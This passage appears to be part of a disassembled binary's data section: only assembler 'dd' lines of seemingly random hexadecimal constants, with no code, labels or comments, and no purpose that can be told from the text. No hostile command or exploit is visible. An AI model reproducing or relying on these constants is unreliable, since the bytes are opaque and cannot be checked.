		dd 0C9128F47h, 2C2428ECh, 466F0545h, 0A7EAE61h,	98F4A6F0h
		dd 676A2140h, 30BF4600h, 6E72BE1Dh, 0EDA411AEh,	95640039h
		dd 748EB40Ch, 3805000Eh, 0A6A7DEEh, 0EA00B8C3h,	6D4D7201h
		dd 0B0138Dh, 0E786CD5h,	0A716A6CFh, 1F66FF3Bh, 10876AF7h
		dd 2354B983h, 0DCA66080h, 0AADE126Fh, 386C046Bh, 230E054Dh
		dd 0CBB18447h, 594277E0h, 0FA89004Ch, 0E6179234h, 1C9045D0h
		dd 0F85538CCh, 0B4F65303h, 0B9C058A7h, 30E5A05Eh, 0F019220Eh
		dd 0DF0053D9h, 0A25FD751h, 3EB6DDh, 0FC02D212h,	0EDE372B5h
		dd 7E00DC91h, 0AD231591h, 354204B1h, 8122928Fh,	0DC79D227h
		dd 0E761FFAh, 0CA8C8650h, 0D40662E8h, 0CDC04BC3h, 44A24C40h
		dd 0A2FA771Fh, 0E85EA302h, 43580C6Ch, 0D493FCD0h, 0C5210099h
		dd 6B1E856h, 0CF12B02Dh, 9C183320h, 849C3448h, 1FC39200h
		dd 2CDF4E7Bh, 56D300F5h, 5ED2D08Bh, 0E3074334h,	0B4217754h
		dd 0DB657D81h, 6A7FC8h,	0C7490804h, 7841FCA7h, 2800EAF0h
		dd 3007ED7Ah, 0A035C8CFh
		dd 7D7D1E38h, 882E5486h, 0DD9B0042h, 0A6205352h, 0FA34A8A9h
		dd 0B0409187h, 759334D2h, 8890D872h, 78D8E935h,	0DC260D10h
		dd 50864029h, 3F980AC7h, 0FEDD0603h, 0A01FD11Bh, 18602F64h
		dd 0C08069A1h, 6D400BB9h, 0A07092B0h, 18F7E10h,	0E7FAD125h
		dd 520C4A61h, 4840E3A4h, 5C1FE4F0h, 0A02AA7AEh,	7EA11000h
		dd 340A99BCh, 0B989609Dh, 1E22C10Ch, 0B8185090h, 531990FBh
		dd 619B004Eh, 0A48218DDh, 0CFEE6EA8h, 0B854B20Eh, 0A9AB83CCh
		dd 0ED4F05Fh, 18D9C021h, 3913F4EAh, 89588D00h, 0B7D44356h
		dd 44E52C2Ch, 30FD2400h, 0B85E960h, 5C615501h, 1A38A7B0h
		dd 0ECD3A889h, 3F4E4010h, 0FB532500h, 1F41F62Fh, 2D520030h
		dd 0BEF2EDE4h, 0E9746A84h, 0E2C9D601h, 436298Dh, 269582F4h
		dd 31860E1h, 0F4EE6C7Fh, 1B0D39B8h, 0E489A9C0h,	0F15D320h
		dd 7036DF7Ch, 5B493860h, 5A1EE165h, 6093FBh, 0B6EDC11Ah
		dd 0DCAD88C6h, 510BAF0Fh, 91062A4h, 501C4381h, 937C1868h
		dd 0E8630174h, 18800C71h, 5BCA8898h, 0F344E800h, 739D286Eh
		dd 0CFC8006Ch, 6585A45Ch, 1E1D8FE9h, 0D8F0E472h, 4B46E0h
		dd 66EB3D31h, 0C2919609h, 1A2D7400h, 9721C42Bh,	9C993134h
		dd 24136B61h, 78ECC54Ch, 4C7BFC01h, 805C2094h, 0E359ECh
		dd 0C2E98237h, 54E2FD3Fh, 93FE70F2h, 0A6A55202h, 411A5EC1h
		dd 0C3F5240Ch, 45C2FC60h, 4842A484h, 82C7E0C0h,	22EF469Bh
		dd 0D8573C2Eh, 83F0A69Ch, 0E53ABEB9h, 24D0D3C8h, 91055EFAh
		dd 0F7BA8FDBh, 4862C092h, 0FD40464h, 6F3FDD56h,	880C9D49h
		dd 5C2EDE19h, 0E8C1486h, 73E6924h, 938C51D4h, 9AB25364h
		dd 14896E80h, 0A8026139h, 0E30D497h, 7C093125h,	3AEA7F17h
		dd 4BCC5036h, 0BAF34300h, 0E61ECF16h, 526C2500h, 852665C7h
		dd 0B08D54FAh, 0AF3A4C97h, 332A6D00h, 0E41581BDh, 8A52C501h
		dd 8D926C26h, 0D8505462h, 0A665004Dh, 0DAB1A746h, 0C0B0A5F4h
		dd 88018F5h, 818DDED5h,	474020C4h, 38A9D578h, 8EAC3100h
		dd 11480D0Ch, 3A6076Ah,	308F1E15h, 37F2C18Ch, 4CA4DCA2h
		dd 24B08707h, 860E0B0Ch, 20167Ch, 0F131BD8Dh, 0BED562D1h
		dd 79336809h, 925C8167h, 60402993h, 9AFC1CD0h, 2494A3A0h
		dd 11049139h, 0C7E1875Ah, 33F79BA2h, 0D95847B4h, 32F0C497h
		dd 4C22108Eh, 0AF002A42h, 183BAEF0h, 9E74B90Ch,	650C489Ah
		dd 893E8F92h, 4927600Eh, 638AA3CAh, 8060AA39h, 17E5736Ah
		dd 0D5BA5Ch, 0C9F4047Fh, 0D36C998Ah, 0D8B06401h, 0A586ED39h
		dd 0E2785830h, 9845123Dh, 566C4D70h, 7BFC4C59h,	851C3B00h
		dd 0F4900536h, 8AE000D7h, 18734DEFh, 0C1180ED8h, 7DA815AAh
		dd 0C910163Bh, 0EDD80340h, 5040136Ah, 58BBD4C0h, 5D466B01h
		dd 3A185EAEh, 636688h, 9DD6D946h, 0F3DA0F5Bh, 688B448h
		dd 36EDCF0Ah, 0C83B3B29h, 556500FEh, 20C6C203h,	0E500CFAFh
		dd 0D62D7C63h, 5CBB926Ah, 0E8B7A0F4h, 5F466DC0h, 486E52AEh
		dd 46656880h, 0C9A02285h, 48C054BDh, 552308C2h,	9F50094Fh
		dd 2C00320Ch, 0EC6002EBh, 0AB134212h, 0C8208D5h, 5D7C48F7h
		dd 2BE0695h, 21190DF9h,	0B6AF3901h, 85CE6C16h, 0BE198E4h
		dd 8270623Dh, 59FCA8B0h, 90BCD00Fh, 4292848Ch, 96E5B20Fh
		dd 76D8883Fh, 5D01C09Bh, 500C6BE8h, 0C488A018h,	0FFE80055h
		dd 58F8645h, 413F4EDAh,	0AA8D045Bh, 0CB49CCFh, 6313018Eh
		dd 2EAEFD0Eh, 0CC2821A7h, 78C926B8h, 8DFE02E9h,	9DD4E0E4h
		dd 46212540h, 2C23081h,	89B00F4h, 18476B4Dh, 0D4DFB019h
		dd 0CD030E45h, 81DA5F61h, 91D1804Fh, 17F1E8Ah, 53BC9AEh
		dd 138500A0h, 6601EF69h, 57671134h, 0A4571F0Dh,	0B13EF371h
		dd 3A86BDD8h, 9800BB14h, 5DDC6374h, 44039D84h, 309FAE64h
		dd 0E3B80C06h, 2589B113h, 1D209B0Ch, 465A02Bh, 13439D86h
		dd 63F4B4A8h, 0E2910C0Ah, 7F02BC24h, 50B54095h,	9A040550h
		dd 0C6C1061Bh, 6FB020DAh, 78549C18h, 4034BC48h,	44FEAE16h
		dd 104872EFh, 2413C9C6h, 0A8E801E6h, 811E64CFh,	3C788320h
		dd 204FD662h, 81C66711h, 1D80CF4Eh, 63C40E01h, 0C54A00F8h
		dd 7831DAD5h, 21C10A69h, 82AC0A0Fh, 0B19FC28Fh,	6C6AD481h
		dd 0C3198009h, 2269996Dh, 0BAD210A6h, 0DD0E1372h, 109ED109h
		dd 0C384E370h, 22B0D308h, 7AD9F6D8h, 0FC9809E2h, 0F856200h
		dd 84D00863h, 8A78C3h, 9AA149E7h, 0A9389D6Dh, 8DA43B50h
		dd 199B353Ch, 87102A45h, 2A92AC30h, 0CD42B84h, 2770C72Eh
		dd 0B8C4CBE0h, 950286D7h, 0B0E00572h, 8780033Dh, 4BA59A1h
		dd 438CDB00h, 0D5E4D216h, 0C85E7C00h, 0BDEF90E3h, 588907FDh
		dd 8083EBEDh, 0D27DE1CFh, 0ECE95B98h, 64780BCCh, 9003E979h
		dd 8E0FC561h, 6344A05Bh, 0F1B6075Ah, 1E7018Bh, 30CAE916h
		dd 0B4005B3Eh, 0B65D84EFh, 5647DFEh, 5887EBC4h,	7382921h
		dd 858C87D6h, 31182AC3h, 0F39208FBh, 0B080F1E1h, 5E89DCD6h
		dd 1600D9F0h, 83D5C402h, 144EFFBh, 0F1D06466h, 0E0E5FF67h
		dd 0CA054A5Dh, 21F869E0h, 6DF56803h, 8606C7FEh,	0C5988339h
		dd 7E09047Ch, 3B10C040h, 0C0D0E796h, 9DB71718h,	4C1C3DB4h
		dd 0E300CF02h, 664E27A3h, 30C0125Ah, 89BE2052h,	8818C7A4h
		dd 759E82ABh, 0CBD30880h, 4F0CA544h, 0C62CA243h, 2CCC5045h
		dd 0B7A705D1h, 6317BE38h, 8847EF0Ch, 355F180Ch,	75A99130h
		dd 0AE59C34Fh, 790379CFh, 91963766h, 0F4400DD1h, 0EBE8D37Eh
		dd 59EB4030h, 0A83722DAh, 5088F478h, 87FD58CEh,	0BF15437Eh
		dd 0EFA31010h, 75B0408Ah, 4287A380h, 7BD0321Fh,	0B5A22421h
		dd 7E0CBBCCh, 0D1284D62h, 0AAF6E30Eh, 5E549E51h, 0DC44320Ch
		dd 0ACE4482Ch, 1E111EA7h, 8DA38126h, 0D023CBF1h, 0CA08794h
		dd 9524C116h, 0B980FC39h, 4106E3B5h, 544D071Ch,	42CDA9FFh
		dd 0C83D5D0h, 2BC230D2h, 27AB1468h, 919458A0h, 143B6E14h
		dd 88E6E864h, 0CB15C18Dh, 408CE79Dh, 8184FBBCh,	0EC0854B8h
		dd 0C4802167h, 0ACA3FE3h, 0A550CB19h, 4F165F8h,	0C2215CE0h
		dd 0C013FE5Ch, 83A4799Eh, 2AAE4018h, 53D187C1h,	38228C22h
		dd 0E347E48Dh, 0B9C4F215h, 98907C89h, 8D9098BAh, 90E58B82h
		dd 0AC45A164h, 5C515B61h, 884CB715h, 50CC0902h,	6404D288h
		dd 87D1204Ch, 0AC48A0EAh, 40FB2837h, 0A25E12E0h, 2D0C3246h
		dd 80732025h, 0C9946B6h, 8CD0463Ah, 76912CB2h, 0CE0A5504h
		dd 666688AEh, 16DA28E0h, 720742F4h, 0C2BA9F22h,	25ACA540h
		dd 82876040h, 0C8281348h, 4680A1B6h, 0C8C99EFh,	8CFEDF28h
		dd 0E354F313h, 0D6880C3Fh, 24D5EC54h, 64A811A3h, 0A380502Ah
		dd 0C99467Dh, 8CA60D14h, 0D59C8124h, 10EAF611h,	0B199CE58h
		dd 0C8A02744h, 61B55852h, 0C1A23412h, 0D879144Ah, 6B74106Bh
		dd 5061D564h, 0A157DF2h, 11E4922Bh, 0A8DF2927h,	4AC481B7h
		dd 0A68DB4C8h, 0E430ABD8h, 0AA76589Bh, 502C4D4Ch, 768DA3EFh
		dd 2FD6B46h, 94A0EBECh,	9B4DBA04h, 448E6E01h, 410553CCh
		dd 41337824h, 5BDC4243h, 40129024h, 6F7E0210h, 0A6631621h
		dd 0E452D270h, 10F4C344h, 53EF229Ch, 1F043C8Eh,	795A9130h
		dd 3C70E814h, 47DC321Eh, 47D895AEh, 0FA80043Ch,	0D77861CFh
		dd 49DB1440h, 1002507Bh, 0B4598DF3h, 227CD05Ah,	0DF3C2178h
		dd 0BEB9287Fh, 15005579h, 0F1C3617Ch, 52C6647Dh, 0B78F14D6h
		dd 30568A06h, 0D05A930Fh, 0B56182DDh, 0ECC500EFh, 0B41E4987h
		dd 38082D5h, 0CDED4745h
		dd 909260E2h, 25D89F1h,	0B90218DDh, 5B5B8FD5h, 0EE108ED0h
		dd 0D8C85E81h, 0E0B2D093h, 785D8D30h, 0C3B8618Ah, 93DFC531h
		dd 578D590Ah, 10690CD1h, 0F21010h, 0D9B4EF7Eh, 0E0D06486h
		dd 38C588A1h, 0D0244A1Ch, 5AAD20C0h, 2845843Dh,	72323C20h
		dd 8812F429h, 7949CE57h, 0DA5F1E78h, 0D8AE19B0h, 0F1420E85h
		dd 15EE62B9h, 0D53B819Fh, 20EA2230h, 0C3695DDCh, 24340338h
		dd 587C09h, 0AC821673h,	0F411A15Ch, 0B49D3518h,	491F9A1h
		dd 96C1C431h, 0C3A4875Bh, 0A91057C3h, 5F09CD34h, 20A2E052h
		dd 4A075125h, 0A1C4E15Ch, 96101C18h, 363D0211h,	4A34509Dh
		dd 0D314D60h, 0D0207409h, 4F282C18h, 704A1374h,	20F84823h
		dd 42481B2h, 92F89147h,	0B830D305h, 0DF6B594Fh,	0FE30C6D4h
		dd 0DB3179BCh, 9C4B316Dh, 0CDB75182h, 0C882892Dh, 48C8F7DAh
		dd 4E348714h, 3480648Bh, 942C9C09h, 4C84E988h, 43A8D393h
		dd 0A5917903h, 189B8F9Fh, 69473930h, 0A20D551h,	12C4905Bh
		dd 9DC0D91Bh, 1A030FCh,	8325AD21h, 2C8637E3h, 0F26C3116h
		dd 4C233C4Ah, 4A589495h, 6C920C64h, 0F3390D14h,	0CE9FAED0h
		dd 0FE308A62h, 0CD38499Ch, 0A9D14C52h, 0A71C4C58h, 0B6540254h
		dd 0A49094CDh, 64854393h, 3B6331BFh, 0B4B8AC19h, 0E6105CA3h
		dd 435CF888h, 372A1128h, 8F85099h, 0FD7185B0h, 428DC808h
		dd 42144EBEh, 2180100Bh, 1642C2FCh, 98441188h, 788E2B6Ah
		dd 508A1790h, 0FA217C28h, 8B2A4223h, 106AE824h,	2FA23916h
		dd 87222010h, 302772E2h, 5C99524Ah, 0A2426C24h,	601929BBh
		dd 55D1004Eh, 60D948E3h, 5A3F3581h, 4061B236h, 0CFC06122h
		dd 9038B13h, 4E3DABD2h,	1D9022C0h, 1609D963h, 54C4B110h
		dd 1E1EB191h, 0CF067B2Bh, 4010D1E6h, 4153D02Ah,	20584338h
		dd 792B6524h, 6B70055Ah, 0B53C601Ch, 0A230346Ah, 451511B7h
		dd 0A0CD52BAh, 0C964DB26h, 4109481Bh, 10898D81h, 98D639F0h
		dd 103A4354h, 38402EBBh, 6B591835h, 11DE1132h, 3D5CE41Eh
		dd 5A5DD700h, 0FB5248Ch, 9AA073CCh, 0E353EBA0h,	0C1147AABh
		dd 24AA35h, 0B44AC38Ch,	1E3B248h, 7267537Bh, 0F7F24FA4h
		dd 9CB821C9h, 48C29128h, 805B4562h, 0CEEAC454h,	333816ACh
		dd 0E16E0035h, 971D0180h, 2B2696F0h, 0C3005C29h, 0A28D711h
		dd 0AEBB0A1Eh, 0C48ABh,	6983D42Dh, 86207E3Bh, 4BF30943h
		dd 0B4E06E87h, 330650B0h, 23067EBBh, 9E42520h, 312080AFh
		dd 1EDD0EFDh, 0CF439500h, 0FA17DC96h, 7CC300D8h, 0A14E5953h
		dd 5A0092F3h, 0F4F3DC0h, 6FB237A9h, 599F6014h, 220919B5h
		dd 1BD70000h, 157A35A6h, 2DA40277h, 2CCD4A92h, 4F26C8C0h
		dd 85482748h, 14C80983h, 0F2FE3F51h, 9918D380h,	5CCFBA81h
		dd 0BB8CF101h, 13412733h, 10AC3990h, 0D50C20E7h, 0F898FE92h
		dd 935B7300h, 525DDB53h, 38F90C72h, 39C87E6h, 27EF8B03h
		dd 0A0ED902Dh, 1CEC91F4h, 805BFF78h, 0FBAE8854h, 337CF035h
		dd 77021700h, 72E516BBh, 7AE9E4EFh, 2D1D1F8Bh, 282E9B79h
		dd 0F891110Fh, 0FE758016h, 78E73Bh, 770117BBh, 5AF372FFh
		dd 9001C2DFh, 85F03AEFh, 700322E0h, 0F41C0391h,	8D52B98Eh
		dd 0BE04B846h, 8545FEE0h, 84B420E7h, 0F520B90Ah, 0A581877h
		dd 104D627Ah, 0FE60C7A1h, 2DB050CFh, 70046103h,	0CBD669F3h
		dd 8180062h, 8965CDD7h,	7D0C6859h, 48CA57E5h, 0FA4700EEh
		dd 0FDE167A4h, 0C002275h, 299EC0CFh, 0EC8F43h, 0D1CD5F6Ah
		dd 0DF7CC7D9h, 2AA86903h, 909855E1h, 4C65ECh, 93410375h
		dd 36C57B10h, 0F4948F00h, 28F1E79Eh, 96C018A8h,	5FEE18CBh
		dd 703A3C31h, 2FE1DDA9h, 8D344040h, 0D95B618Bh,	8CEB4CF5h
		dd 0F9E55208h, 69A902CDh, 0A2FC0A7Dh, 88B5E18h,	0BA1AB811h
		dd 8B9FC3F3h, 5610013Eh, 0D21272CEh, 10688250h,	248DD3Ah
		dd 4C0FA464h, 0CE9AF814h, 9FC70881h, 0C6402CDFh, 3CB1B20h
		dd 0CE572276h, 7829827Dh, 0E00AD4B5h, 0F1508C7Bh, 9B89114Bh
		dd 0A81B6A9h, 618C9AD2h, 8C731588h, 110ADB03h, 85ABDA14h
		dd 0C48DFB2h, 6C1F8C54h, 76C3F8EFh, 0E7C206ADh,	0A15789BCh
		dd 48896948h, 2831DC9Bh, 6445E293h, 4983C371h, 87E4C871h
		dd 0D85A2FE1h, 51F82332h, 0F6BB2E07h, 72208AECh, 1EF885FDh
		dd 0FC730331h, 0C578F22Ch, 0ED50812Ch, 54C3E217h, 19972DE0h
		dd 8E34FD00h, 51F026F8h, 8B4F14D6h, 7EC04437h, 3ADA3FD0h
		dd 51DF10Ah, 0F761043Bh, 3CF13312h, 8000C4Dh, 502DF3A6h
		dd 0A65420E5h, 1FAF2930h, 10551F08h, 5B0FDF46h,	0A0678A4Ch
		dd 13DD4074h, 0C8E311CAh, 177361E4h, 0FF89217Eh, 4F10E05Fh
		dd 431B3ACAh, 0E9999588h, 104D2509h, 0CBF10819h, 13700404h
		dd 0B76309B1h, 1379C19Ch, 960C48C1h, 408CBC56h,	1D1BAF50h
		dd 96285019h, 94C6431h,	9146484Dh, 44502247h, 5B895A51h
		dd 55245412h, 4F914E48h, 59445822h, 12438942h, 4F3D243Ch
		dd 36B8036h, 70B06302h,	975D2910h, 0B8653AF4h, 51842C54h
		dd 54D604A5h, 0A03B085Eh, 1C38EDBCh, 83A852E0h,	589502CAh
		dd 0E894C3E1h, 2E1C7044h, 0E687E153h, 0F867F238h, 10E74AC7h
		dd 0C0C762C4h, 0F0C340EDh, 812EB7CAh, 70430023h, 0FDF4F88Eh
		dd 94C082E0h, 87FED748h, 9255FF04h, 88B3DFh, 45FC0B7Bh
		dd 8B0A12A7h, 4A540DF1h, 0FE89B038h, 0A35D101Ch, 0F14203DCh
		dd 2245631Dh, 18824409h, 5DF50417h, 4474D4C0h, 0D3DC0112h
		dd 0C0E08E1Dh, 751041C7h, 3895F613h, 0D292AC60h, 1F9B7F44h
		dd 38D76212h, 6A185830h, 2B3D5C3Ch, 36EE0591h, 1C0F5708h
		dd 0EA958354h, 334FF8E1h, 5E28A4DFh, 6E4A76Fh, 95500609h
		dd 320A10B9h, 5EF8753Dh, 1B0C9203h, 0C0B94541h,	0DCAF48h
		dd 0F9770419h, 0FBAE51FDh, 78F43801h, 53541CFEh, 72F0A0CFh
		dd 622700EFh, 0EC20ED76h, 131FFE74h, 3381A494h,	270C8803h
		dd 7A028AD0h, 0DC92002Dh, 1987EF11h, 0F1F8E933h, 0EC5A40C0h
		dd 58EF016h, 90EF3822h,	405EDBh, 0F23BF185h, 523A0A76h
		dd 27F70F39h, 0D83014E9h, 29E62E98h, 821CFE84h,	77E73313h
		dd 0F9948D00h, 85E90A38h, 68602EF8h, 0E69755ECh, 0AC83A4E8h
		dd 0F2A1275Ch, 7E185D1Dh, 22AA4CCh, 1DB9473Fh, 2CB884FCh
		dd 77030339h, 450238EAh, 7F61E0ADh, 0E5FE29B9h,	8D9F38h
		dd 98617807h, 0F31439F8h, 0A414F772h, 0FEDB4070h, 7510058h
		dd 0FD90E811h, 7F2AF133h, 0F904F8F8h, 0AF49F51Dh, 0C0BA9CCAh
		dd 0F60C7A62h, 0EAE004Fh, 0DCA74519h, 801D0267h, 88032BECh
		dd 0E8422FFEh, 4C032607h, 7874008Bh, 5428C185h,	24611DBEh
		dd 9000FE98h, 7F2960F0h, 9FEC1CFFh, 5063F043h, 0D7368D28h
		dd 645B0192h, 616CA020h, 3BED1277h, 50EC1AFFh, 435D74B0h
		dd 54915165h, 80AE1CCBh, 91F30DACh, 0E93901F9h,	59220E33h
		dd 98B22A72h, 580F02C9h, 638559C7h, 0B9A2F020h,	43A862F5h
		dd 0B777D1D0h, 0F4E9E8E1h, 0EE844089h, 0EFC7C08Fh, 0BB87A03Ah
		dd 8674E62Bh, 8C10D4h, 0FF728854h, 2C91EC2Fh, 0B701D02h
		dd 480716EAh, 832D82C0h, 8AE8A040h, 8710EF63h, 79601FF3h
		dd 88013902h, 8EEC16BBh, 0D8B12AFEh, 5A2D4081h,	0EB3417F8h
		dd 7878C878h, 0D7D45A95h, 9894EC60h, 9584ECA0h,	0FAF7D059h
		dd 0F81EF894h, 0BB17F022h, 0F152D460h, 33592C2Ah, 8727C760h
		dd 76EAA016h, 86E01DBBh, 5CA5B893h, 89FF7AB0h, 840E575Ch
		dd 0E800E689h, 0F2752D38h
		dd 0F83085F9h, 7C85E516h, 787072FFh, 0D85F0C7Bh, 0EF2CFDACh
		dd 9685C474h, 0B48231FAh, 13E4CEFEh, 32F42DBBh,	98C0FD0Ch
		dd 2658EB86h, 48FE3ADCh, 28DF74D8h, 1227EC0Bh, 0BB1C40C4h
		dd 1D09C533h, 29C485E6h, 502CF3E4h, 0D58EC0ECh,	8187CB4Fh
		dd 0EE905C20h, 7C76E3D3h, 3AF87C69h, 1D2E8FF2h,	84E64220h
		dd 3C902C96h, 0EC8082F9h, 6185F416h, 5880FC34h,	0F8742D1Ch
		dd 867CFD2Fh, 8052B0CCh, 18765263h, 0F0175048h,	0EB0CDB69h
		dd 0A9C007B2h, 84B6187Fh, 0E3892741h, 7C9E1EEEh, 0A781821h
		dd 0F8860004h, 0FE895016h, 68A7E938h, 5270C78h,	16EE8B62h
		dd 38D88159h, 0EC64745Dh, 31FE8F1Eh, 0F8B618AAh, 33835068h
		dd 0A04C020Ah, 5C031C1Eh, 4B7E2091h, 76F0AD8Bh,	440E2A4Fh
		dd 0F88A822Dh, 273C7938h, 4E52D498h, 707EFE8h, 1C0289E6h
		dd 27F69140h, 11872EE7h, 0EA8B008Ch, 0BB76F12Ch, 0AA641302h
		dd 8B0207BCh, 8850019Ch, 21803BF3h, 0ED87F527h,	2E8F233h
		dd 80E7392Eh, 0C8D8F092h, 0C0B0768Dh, 0F1DA468h, 0EA5091F3h
		dd 34A58580h, 17EE94D8h, 0DD87F427h, 0E0340B50h, 5F0239F8h
		dd 0AB906077h, 595038FBh, 541D72F0h, 500013A3h,	339ED85h
		dd 3AF01B34h, 5BB021ECh, 0F43A1CEFh, 0C83B2874h, 301DBB4Eh
		dd 54E0982Dh, 21809C18h, 7E10A938h, 0EA0D627Ch,	0F0A4E91Ch
		dd 0D7FC8AF0h, 3460C028h, 1C90EE96h, 0E521DC80h, 20F78A30h
		dd 1D16E376h, 4FC7303h,	0E1F990ECh, 2AE077B8h, 1D51C4DBh
		dd 1E8C0880h, 0F860BB4Eh, 7CE73B01h, 0D8026D77h, 4785D588h
		dd 3A3497DCh, 0E8D820D0h, 1D3302F1h, 0F474E62Eh, 0BC20463h
		dd 80728084h, 0D66D313Ch, 0EFB02D50h, 85BBF0A9h, 12F87960h
		dd 0B930DCF3h, 30BB8E28h, 1416E9C8h, 0C89658ECh, 1E5DF6Ch
		dd 4885FDACh, 0A3312BEDh, 83FA76D4h, 2944F748h,	32A5F472h
		dd 48F07A64h, 0F4E20EEh, 1181F430h, 0F388033Bh,	1668E8F6h
		dd 3809F0C0h, 0FF1845F0h, 79B4405Ah, 0F42126EFh, 5D8038DCh
		dd 8D27F98Ah, 0BB7BA0ECh, 0E55A31C0h, 0F2F3B0FDh, 640300EBh
		dd 504F619Ah, 0DB3D1242h, 36BB8B10h, 2E13008Fh,	0E16733h
		dd 83D3CDD5h, 2B9F1114h, 59895D00h, 0D48B17DBh,	9BB23027h
		dd 3AE95228h, 9FD0B01h,	795E2414h, 0AB5878B1h, 47EE00C6h
		dd 69BE0067h, 7CE2A9E1h, 0B830CD03h, 0EF5321F2h, 0A45D2941h
		dd 0A97AE220h, 0EA0A3030h, 80B60755h, 8050CF70h, 8D547314h
		dd 315DE80h, 34426DDDh,	8E9BC96Eh, 0EB051EBEh, 92BAFA53h
		dd 7A2D9041h, 0B0C40B9Ch, 144619C0h, 80890898h,	9DA25421h
		dd 0C310A29h, 43C4DE5Dh, 862B8D70h, 3D1064E2h, 0B5A9553Fh
		dd 89C031D8h, 22805EC0h, 0C14D6343h, 30DB18CFh,	0E8E08FE1h
		dd 42FB5C05h, 2C836CFCh, 5AE80433h, 660C08EAh, 820D279h
		dd 9421C467h, 1707870Dh, 60ECCA4Fh, 2D6A2644h, 0DA0A08A0h
		dd 0EC072C92h, 1FD17462h, 0A3D246B0h, 14C605E1h, 4B4F172h
		dd 5C3DE2FCh, 0DE5C6B01h, 88503C74h, 0C02CC87h,	0EA9CEC62h
		dd 80052C9h, 9FD7DABFh,	2B7C6859h, 101C7B5Ah, 0D8BC4BBAh
		dd 5ABE5681h, 3CB02FC7h, 0A050C23h, 92D9706Bh, 0D9009679h
		dd 0EAB2757Ch, 3D7F455h, 598FFC84h, 293B5608h, 0E0D4B2C2h
		dd 196D20E3h, 497E5811h, 550C1890h, 8842F0DEh, 51749112h
		dd 0D4180D64h, 462E4687h, 4962201Ch, 218408BCh,	0E73463A9h
		dd 74C7493h, 14577259h,	37E9500Ah, 3966D3DFh, 213F08h
		dd 93145E10h, 338C6C40h, 68457800h, 0EF0AF54Ch,	0C85563DBh
		dd 31005773h, 0F683B613h, 35917Eh, 70EFAE02h, 0A5C9B30h
		dd 6290D154h, 14C2A100h, 12046C66h, 6B1A0050h, 7EEF958Bh
		dd 1E0319AAh, 0CED92A3Ah, 2CD1068Fh, 70627FD6h,	0A0EFB0A0h
		dd 0B0E13828h, 8ABA0D18h, 1A86429h, 7D408E06h, 0FC87E1BDh
		dd 8127443h, 8403D0B7h,	0C1D5127Ah, 10ABCA57h, 0E141D838h
		dd 310038Ch, 772FEF0Ch,	0B08A801h, 4B8F9F09h, 3ABF5C41h
		dd 0D7860885h, 828846CEh, 0D81E594Eh, 7744AF0Ah, 0A9818EE4h
		dd 0EA209645h, 0F0909912h, 0C28F8E7Dh, 1178E7Dh, 0FAB304E9h
		dd 0A2783327h, 0A3A83095h, 47063A03h, 909CEB81h, 66D4866h
		dd 3D6CF36h, 0C06F044h,	0AC0F20D5h, 4B8B0988h, 0E7013B08h
		dd 2FDE3FEBh, 4C5054F3h, 0CEC88B1Bh, 0FB974E80h, 27739260h
		dd 518E2F70h, 0E0AB3D07h, 8E8520F6h, 7102C3FEh,	2FE98AF5h
		dd 88C40Ah, 1BCF8723h, 0D76B5A38h, 283E407h, 56617143h
		dd 0B0238CE0h, 31C068A7h, 38D98026h, 0E8D1325Fh, 0CF586CD0h
		dd 72A09779h, 0D44A503Eh, 5B01E476h, 5F18738Fh,	30949A0Ah
		dd 0D23C001h, 49C7D01h,	9A18A80Bh, 9DA5988Bh, 0CD2D3C6Eh
		dd 99935E00h, 16B84DFBh, 0E1B4D454h, 0E390FC06h, 1B15074h
		dd 98726FD3h, 0E09DDF7Ch, 6B5008C7h, 57905CB0h,	90444634h
		dd 79C88CBFh, 0C098542Bh, 5E52F501h, 0AC50DE0Bh, 0D109BBh
		dd 99296280h, 30114A57h, 21C0C7E8h, 0EDD20120h,	0E0B400E1h
		dd 0ABE8C529h, 761F2840h, 0A9819A88h, 257EADDh,	84D3A050h
		dd 0EF0E1FC6h, 4A5F06FFh, 630C182Ah, 98DEE308h,	2CA0A619h
		dd 0DCD8EA0Dh, 0A0869200h, 8BF0E08Dh, 1D223CB3h, 34DFAD05h
		dd 768C0166h, 42431FC5h, 40325D7Ch, 0D1627B8Ah,	0C6227CF0h
		dd 0D2021B00h, 4034B0E7h, 1D2F00EBh, 0CFDFF1DBh, 0A46A6510h
		dd 3F3CC8h, 142A7C5Dh, 32A1D2EEh, 16F8D176h, 0EA90C8A4h
		dd 14AF9C88h, 446052F6h, 7ED1FF80h, 0C0A73962h,	0D1F71E07h
		dd 0F300FDE5h, 0A8F11BBFh, 0BBF41EA5h, 0E983C0A1h, 1CED5F14h
		dd 540978A4h, 144FB0DEh, 638481C0h, 0D1040418h,	3101627Dh
		dd 1D20C432h, 7790D1FCh, 3F390023h, 0D2B3EB7Ch,	62057A73h
		dd 0E590952h, 0FC5C888h, 34DDA84Ch, 4349532h, 0A0B9E7B5h
		dd 1A294F40h, 99438C32h, 10803F4h, 708D427h, 2FE01905h
		dd 2404A306h, 0DCEAABFBh, 76019734h, 0A7B12922h, 8C28FBD1h
		dd 184B6180h, 872430FEh, 0D70428C6h, 50D04503h,	8240CCDEh
		dd 204C784Ch, 552200h, 28434FCEh, 0F4B42F7Ah, 0D67D8B02h
		dd 5F74ED86h, 5B3A0E8h,	0E2012CE4h, 6C59626Fh, 2DC0A230h
		dd 73D302DDh, 0D80A567Eh, 5B1AA8A0h, 7900A3C1h,	95392703h
		dd 4E515CC4h, 0C130B840h, 6D01DB8Dh, 88F0428h, 0E8EA5642h
		dd 98113A31h, 1BB8CC11h, 0FB57F700h, 0EBBB5D09h, 0CE6424C2h
		dd 4A706158h, 0D3B98053h, 0CA3728E3h, 11A099E7h, 145583A3h
		dd 3139AA04h, 6412114Bh, 0B3692087h, 6242A21Ah,	569B3860h
		dd 9A287001h, 3F1FD70Ch, 0D2FBAC40h, 0ACAA74D9h, 30B8C0FCh
		dd 0B71FF614h, 6C8B5602h, 41D4DDD6h, 5186294h, 247CD13Dh
		dd 1C70D809h, 0BDD100FDh, 99597820h, 0E718F57Dh, 29600D7Bh
		dd 90546250h, 68054DA7h, 108C5C8Ch, 4463F9Eh, 1CA2C656h
		dd 910E1403h, 6994C0F0h, 51BB7D02h, 40FD7101h, 8025F6F0h
		dd 0AB2608DBh, 21506CDAh, 7BD200EFh, 3C8A7D6Bh,	5261EF5h
		dd 465E44F7h, 26E000C7h, 1AB89198h, 0C0FEEBA3h,	826A44BCh
		dd 18114061h, 819C5C81h, 32BF8813h, 4F20A0A0h, 24359DA9h
		dd 404C0B3Dh, 40B8AE19h, 0DCDED600h, 1246D2BDh,	0C87149A0h
